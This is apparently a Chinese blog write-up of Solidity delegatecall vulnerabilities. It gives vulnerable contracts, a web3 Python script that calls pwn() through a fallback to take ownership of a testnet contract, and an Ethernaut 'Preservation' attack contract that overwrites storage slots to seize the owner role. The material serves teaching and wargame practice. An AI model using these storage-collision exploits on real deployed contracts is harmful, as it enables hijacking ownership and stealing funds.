Delegatecall(1)

Delegatecall(1)

wiki原理

示例

delegate.delegatecall(msg.data)这一行msg.data用户可控所以如果给msg.data传入pwn()的函数签名即可调用到Delegate覆盖owner。所以攻击就很简单了调用Delegation合约一个不存在的函数即可触发回调函数,从而利用delegatecall覆盖owner。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pragma solidity ^0.4.18;

contract Delegate {

address public owner;

function Delegate(address _owner) public {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

function Delegation(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

function() public {
if(delegate.delegatecall(msg.data)) {
this;
}
}
}

攻击

攻击脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import solcx
from eth_abi import abi, encode_abi
from eth_utils import keccak
from Crypto.Util.number import bytes_to_long
from web3 import Web3,HTTPProvider
from hexbytes import *


abi = '''[
{
"inputs": [
{
"name": "_delegateAddress",
"type": "address"
}
],
"payable": false,
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"payable": false,
"stateMutability": "nonpayable",
"type": "fallback"
},
{
"constant": true,
"inputs": [],
"name": "owner",
"outputs": [
{
"name": "",
"type": "address"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
}
]'''

bytecode = '''608060405234801561001057600080fd5b5060405160208061021b8339810180604052810190808051906020019092919050505080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610157806100c46000396000f300608060405260043610610041576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680638da5cb5b146100af575b34801561004d57600080fd5b50600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660003660405180838380828437820191505092505050600060405180830381855af491505050005b3480156100bb57600080fd5b506100c4610106565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16815600a165627a7a7230582046ec4825857dbe8a086f8c9ca7c4f15057c7191707ed100c6c5eee654d786ccd0029'''

account_from = {
'private_key': 'xxxxxxxx',
'address': '0x90641D6c0691829Dd70C39EE10EA44B26ac8C5AE',
}

def SendTxn(txn,private_key):
signed_txn = web3.eth.account.signTransaction(txn, private_key=private_key)
# print(signed_txn)
res = web3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = web3.eth.waitForTransactionReceipt(res)
#
print(res)
return txn_receipt

contract_address = Web3.toChecksumAddress("0x6d4e52Df316825C6d5d0AE6c651500C5284DDBFC")
rpc = "https://ropsten.infura.io/v3/4f2d58fd34914336830121c8c562a2bf"
web3 = Web3(HTTPProvider(rpc))

acc1 = web3.eth.account.from_key(account_from['private_key'])
print(f'Attempting to deploy from account: { account_from["address"] }')

# 4. Create contract instance
Incrementer = web3.eth.contract(abi=abi, bytecode=bytecode)

params = {
'nonce': web3.eth.getTransactionCount(acc1.address),
'value': web3.toWei(0,'ether'),
'gas': 3000000,
'gasPrice': web3.eth.gasPrice,
'from': acc1.address,
'to':contract_address,
'data': HexBytes(web3.sha3(text='pwn()')).hex()[0:10]
}

tx_receipt = SendTxn(params,account_from['private_key'])

print(f'Contract deployed at address: {tx_receipt.contractAddress}')

查看结果

示例2

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pragma solidity ^0.4.23;

contract A {
address public c;
address public b;

function test() public returns (address a) {
a = address(this);
b = a;
}
}

contract B {
address public b;
address public c;

function withdelegatecall(address testaddress) public {
testaddress.delegatecall(bytes4(keccak256("test()")));
}
}

本地调试

利用外部账户调用withdelegatecall,要调用delegatecall时的栈数据

opcode说明如下,是会保持当前合约的执行上下文,意思就是如果后面修改了合约中的storage,比如修改了slot[0],那么最终改变的时B合约的b变量因为它正好时slot[0]位置而不是示A合约的c变量。

可以看到最终在要进行sstore操作时,使用 Storage 变量时依据并不是变量名,而是变量的存储位。

wiki总结

sstore 即访存指令,可以看到写入的是 1 号存储位,1 号存储位 在 B 合约中即对应变量 c,在 A 合约中则对应变量 b,所以事实上调用 delegatecall 来使用 Storage 变量时依据并不是变量名,而是变量的存储位,这样的话我们就可以达到覆盖相关变量的目的。

ethernaut 第 16 题

合约源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

先调用一次setFirstTime覆盖timeZone1Library为我们的攻击合约地址第二次调用setFirstTime就可以执行攻击合约的任意函数了。

攻击合约没啥特别的,和wiki一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pragma solidity ^0.6.0;

import "./source.sol";
contract attack {
address public timeZone1Library;
address public timeZone2Library;
address public owner;

address instance_address = 0xAc40c9C8dADE7B9CF37aEBb49Ab49485eBD3510d;
Preservation target = Preservation(instance_address);
function attack1() public{
target.setFirstTime(uint(address(this)));
}
function attack2() public{
target.setFirstTime(uint(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4));
}
function setTime(uint _time) public {
timeZone1Library = address(_time);
timeZone2Library = address(_time);
owner = address(_time);
}
}

最后三个变量值都覆盖为一样的了


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!